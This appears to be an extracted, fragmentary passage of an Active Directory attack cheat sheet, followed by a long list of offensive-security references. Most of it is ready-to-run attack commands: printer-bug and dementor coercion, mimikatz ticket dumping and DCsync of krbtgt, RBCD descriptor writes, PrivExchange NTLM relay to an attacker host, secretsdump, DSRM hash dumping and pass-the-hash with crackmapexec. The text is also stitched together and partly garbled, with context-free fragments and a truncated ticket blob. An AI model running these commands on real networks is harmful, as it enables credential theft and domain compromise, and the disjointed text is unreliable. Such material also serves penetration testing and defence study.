# DC01.HACKER.LAB is the domain controller we want to compromise
# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.
# From https://github.com/dirkjanm/krbrelayx
printerbug.py 'domain/username:password'@<VICTIM-DC-NAME> <UNCONSTRAINED-SERVER-
DC-NAME>
# From
https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc#gistcomment-
2773689
python dementor.py -d domain -u username -p password <UNCONSTRAINED-SERVER-DC-
NAME> <VICTIM-DC-NAME>
If the attack worked you should get a TGT of the domain controller.
Alternatively you could also grab the ticket using Mimikatz : mimikatz #
sekurlsa::tickets
Then you can use DCsync or another attack : mimikatz # lsadump::dcsync
/user:HACKER\krbtgt
Mitigation
• Ensure sensitive accounts cannot be delegated
• Disable the Print Spooler Service
Passing the -impersonate flag and specifying the user we wish to impersonate (any valid username).
# Discover
$ Get-DomainComputer -TrustedToAuth | select -exp dnshostname
# alternative
$SID_FROM_PREVIOUS_COMMAND = Get-DomainComputer MACHINE_ACCOUNT_NAME -
Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -
ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;
$SID_FROM_PREVIOUS_COMMAND)"; $SDBytes = New-Object byte[]
($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); Get-DomainComputer
M3DC | Set-DomainObject -Set @{'msds-
allowedtoactonbehalfofotheridentity'=$SDBytes}
# alternative
StandIn_Net35.exe --computer m3dc --sid SID_FROM_PREVIOUS_COMMAND
doIGXDCCBligAwIBBaEDAgEWooIFXDCCBVhhggVUMIIFUKADAgEFoQ0bC0ZBQ1RPUlkuTEFOoi
cwJaAD
AgECoR4wHBsEY2lmcxsUZGMwMS[...]PMIIFC6ADAgESoQMCAQOiggT9BIIE
LmZhY3RvcnkubGFu
Patch is out on November 10, 2020, DC are most likely vulnerable until February 2021.
# Access "c$"
ls \\service2.test.local\c$
# Set PrincipalsAllowedToDelegateToAccount
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer AttackerService
Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount
PrivExchange attack
Exchange your privileges for Domain Admin privs by abusing Exchange.
You need a shell on a user account with a mailbox.
1. Exchange server hostname or IP address
pth-net rpc group members "Exchange Servers" -I dc01.domain.local -U
domain/username
2. Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from
Impacket).
ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user username
3. Subscription to the push notification feature (using privexchange.py or powerPriv), uses the
credentials of the current user to authenticate to the Exchange server. Forcing the Exchange
server's to send back its NTLMv2 hash to a controlled machine.
# https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx
python privexchange.py -ah 10.0.0.2 mail01.domain.local -d domain.local -u
user_exchange -p pass_exchange
# https://github.com/G0ldenGunSec/PowerPriv
powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016
4. Profit using secretdumps from Impacket, the user can now perform a dcsync and get another
user's NTLM hash
python secretsdump.py xxxxxxxxxx -just-dc
python secretsdump.py lab/[email protected] -ntds ntds -history -just-dc-
ntlm
5. Clean your mess and restore a previous state of the user's ACL
python aclpwn.py --restore ../aclpwn-20190319-125741.restore
DSRM Credentials
Directory Services Restore Mode (DSRM) is a safe mode boot option for Windows
Server domain controllers. DSRM allows an administrator to repair or recover to repair
or restore an Active Directory database.
This is the local administrator account inside each DC. Having admin privileges in this machine,
you can use mimikatz to dump the local Administrator hash. Then, modifying a registry to activate
this password so you can remotely access to this local Administrator user.
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
Navigate to any web application that is integrated with our AAD domain. Once at the Office365
logon screen, fill in the user name, while leaving the password field empty. Then press TAB or
ENTER.
On Linux you can use KeyTabExtract: we want RC4 HMAC hash to reuse the NLTM hash.
$ python3 keytabextract.py krb5.keytab
[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
[+] Keytab File successfully imported.
REALM : DOMAIN
SERVICE PRINCIPAL : host/computer.domain
NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky
Connect to the machine using the account and the hash with CME.
$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H
"31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN"
CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$
31d6cfe0d16ae931b73c59d7e0c089c0
References
• Explain like I’m 5: Kerberos - Apr 2, 2013 - @roguelynn
• Impersonating Office 365 Users With Mimikatz - January 15, 2017 - Michael Grafnetter
• Abusing Exchange: One API call away from Domain Admin - Dirk-jan Mollema
• Abusing Kerberos: Kerberoasting - Haboob Team
• Abusing S4U2Self: Another Sneaky Active Directory Persistence - Alsid
• Attacks Against Windows PXE Boot Images - February 13th, 2018 - Thomas Elling
• BUILDING AND ATTACKING AN ACTIVE DIRECTORY LAB WITH POWERSHELL -
@myexploit2600 & @5ub34x
• Becoming Darth Sidious: Creating a Windows Domain (Active Directory) and hacking it -
@chryzsh
• BlueHat IL - Benjamin Delpy
• COMPROMISSION DES POSTES DE TRAVAIL GRÂCE À LAPS ET PXE MISC n° 103
- mai 2019 - Rémi Escourrou, Cyprien Oger
• Chump2Trump - AD Privesc talk at WAHCKon 2017 - @l0ss
• DiskShadow The return of VSS Evasion Persistence and AD DB extraction
• Domain Penetration Testing: Using BloodHound, Crackmapexec, & Mimikatz to get
Domain Admin
• Dumping Domain Password Hashes - Pentestlab
• Exploiting MS14-068 with PyKEK and Kali - 14 DEC 2014 - ZACH GRACE @ztgrace
• Exploiting PrivExchange - April 11, 2019 - @chryzsh
• Exploiting Unconstrained Delegation - Riccardo Ancarani - 28 APRIL 2019
• Finding Passwords in SYSVOL & Exploiting Group Policy Preferences
• How Attackers Use Kerberos Silver Tickets to Exploit Systems - Sean Metcalf
• Fun with LDAP, Kerberos (and MSRPC) in AD Environments
• Getting the goods with CrackMapExec: Part 1, by byt3bl33d3r
• Getting the goods with CrackMapExec: Part 2, by byt3bl33d3r
• Golden ticket - Pentestlab
• How To Pass the Ticket Through SSH Tunnels - bluescreenofjeff
• Hunting in Active Directory: Unconstrained Delegation & Forests Trusts - Roberto
Rodriguez - Nov 28, 2018
• Invoke-Kerberoast - Powersploit Read the docs
• Kerberoasting - Part 1 - Mubix “Rob” Fuller
• Passing the hash with native RDP client (mstsc.exe)
• Pen Testing Active Directory Environments - Part I: Introduction to crackmapexec (and
PowerView)
• Pen Testing Active Directory Environments - Part II: Getting Stuff Done With PowerView
• Pen Testing Active Directory Environments - Part III: Chasing Power Users
• Pen Testing Active Directory Environments - Part IV: Graph Fun
• Pen Testing Active Directory Environments - Part V: Admins and Graphs
• Pen Testing Active Directory Environments - Part VI: The Final Case
• Penetration Testing Active Directory, Part I - March 5, 2019 - Hausec
• Penetration Testing Active Directory, Part II - March 12, 2019 - Hausec
• Post-OSCP Series Part 2 - Kerberoasting - 16 APRIL 2019 - Jon Hickman
• Quick Guide to Installing Bloodhound in Kali-Rolling - James Smith
• Red Teaming Made Easy with Exchange Privilege Escalation and PowerPriv - Thursday,
January 31, 2019 - Dave
• Roasting AS-REPs - January 17, 2017 - harmj0y
• Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition)
- Adam Toscher
• Using bloodhound to map the user network - Hausec
• WHAT’S SPECIAL ABOUT THE BUILTIN ADMINISTRATOR ACCOUNT? - 21/05/2012
- MORGAN SIMONSEN
• WONKACHALL AKERVA NDH2018 – WRITE UP PART 1
• WONKACHALL AKERVA NDH2018 – WRITE UP PART 2
• WONKACHALL AKERVA NDH2018 – WRITE UP PART 3
• WONKACHALL AKERVA NDH2018 – WRITE UP PART 4
• WONKACHALL AKERVA NDH2018 – WRITE UP PART 5
• Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active
Directory - 28 January 2019 - Elad Shami
• [PrivExchange] From user to domain admin in less than 60sec ! - davy
• Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy - March 16, 2017 -
harmj0y
• Kerberos (II): How to attack Kerberos? - June 4, 2019 - ELOY PÉREZ
• Attacking Read-Only Domain Controllers (RODCs) to Own Active Directory - Sean Metcalf
• All you need to know about Keytab files - Pierre Audonnet [MSFT] - January 3, 2018
• Taming the Beast Assess Kerberos-Protected Networks - Emmanuel Bouillon
• Playing with Relayed Credentials - June 27, 2018
• Exploiting CVE-2019-1040 - Combining relay vulnerabilities for RCE and Domain Admin -
Dirk-jan Mollema
• Drop the MIC - CVE-2019-1040 - Marina Simakov - Jun 11, 2019
• How to build a SQL Server Virtual Lab with AutomatedLab in Hyper-V - October 30, 2017 -
Craig Porteous
• SMB Share – SCF File Attacks - December 13, 2017 - @netbiosX
• Escalating privileges with ACLs in Active Directory - April 26, 2018 - Rindert Kramer and
Dirk-jan Mollema
• A Red Teamer’s Guide to GPOs and OUs - APRIL 2, 2018 - @_wald0
• Carlos Garcia - Rooted2019 - Pentesting Active Directory Forests public.pdf
• Kerberosity Killed the Domain: An Offensive Kerberos Overview - Ryan Hausknecht - Mar
10
• Active-Directory-Exploitation-Cheat-Sheet - @buftas
• GPO Abuse - Part 1 - RastaMouse - 6 January 2019
• GPO Abuse - Part 2 - RastaMouse - 13 January 2019
• Abusing GPO Permissions - harmj0y - March 17, 2016
• How To Attack Kerberos 101 - m0chan - July 31, 2019
• ACE to RCE - @JustinPerdok - July 24, 2020
• Zerologon:Unauthenticated domain controller compromise by subverting Netlogon
cryptography (CVE-2020-1472) - Tom Tervoort, September 2020
• Access Control Entries (ACEs) - The Hacker Recipes - @_nwodtuhs
• CVE-2020-17049: Kerberos Bronze Bit Attack – Practical Exploitation - Jake Karnes -
December 8th, 2020
• CVE-2020-17049: Kerberos Bronze Bit Attack – Theory - Jake Karnes - December 8th,
2020
• Kerberos Bronze Bit Attack (CVE-2020-17049) Scenarios to Potentially Compromise
Active Directory
• GPO Abuse: "You can't see me" - Huy Kha - July 19, 2019